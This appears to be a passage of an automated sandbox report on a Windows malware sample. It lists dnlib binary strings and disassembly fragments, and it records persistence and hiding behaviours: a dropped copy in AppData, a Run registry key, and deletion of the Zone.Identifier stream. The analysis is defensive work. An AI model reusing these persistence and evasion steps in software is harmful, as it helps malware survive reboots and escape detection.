Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_016640A3 push ebp; iretd	0_2_016640B8
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_0194637F push ebp; iretd	0_2_01946386
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_0336D4F4 push edx; iretd	0_2_0336D4F5
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_0336D4D4 push edx; iretd	0_2_0336D4D5
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05A5B49C push esp; ret	0_2_05A5B49D
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05A514F0 pushfd ; iretd	0_2_05A514F1
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF54EF push edx; iretd	0_2_05CF54F6
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF54ED push eax; iretd	0_2_05CF54EE
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF54E3 push ebx; iretd	0_2_05CF54EA
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF5483 push eax; iretd	0_2_05CF548A
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF54BB push eax; iretd	0_2_05CF54C2
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF544B push ebx; iretd	0_2_05CF5452
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF5463 push ebx; iretd	0_2_05CF546A
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF547B push ebx; iretd	0_2_05CF5482
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF5428 push edx; iretd	0_2_05CF5432
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF543B push ebx; iretd	0_2_05CF54AA
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF5433 push edx; iretd	0_2_05CF543A
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF5F97 push esi; iretd	0_2_05CF5F9E
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF5F53 push esi; iretd	0_2_05CF5F62
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF5F1F push esi; iretd	0_2_05CF5F2A
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF5ED8 push esi; iretd	0_2_05CF5EE2
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF600B push edi; iretd	0_2_05CF601E
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF1367 push cs; iretd	0_2_05CF1376
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Code function: 0_2_05CF3301 push cs; iretd	0_2_05CF3311
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_021340A3 push ebp; iretd	3_2_021340B8
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_05E5637F push ebp; iretd	3_2_05E56386
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06567735 push es; ret	3_2_06569020
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06567735 push es; retf 5674h	3_2_0656911C
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06567735 push es; ret	3_2_06569138
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06563A85 push es; retn 563Bh	3_2_06564288
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Code function: 3_2_06561C76 push es; iretd	3_2_06561C7C

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

File created: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe

Jump to dropped file

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OgBoRN			Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OgBoRN			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe

File opened: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gq8sce-clean.com.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
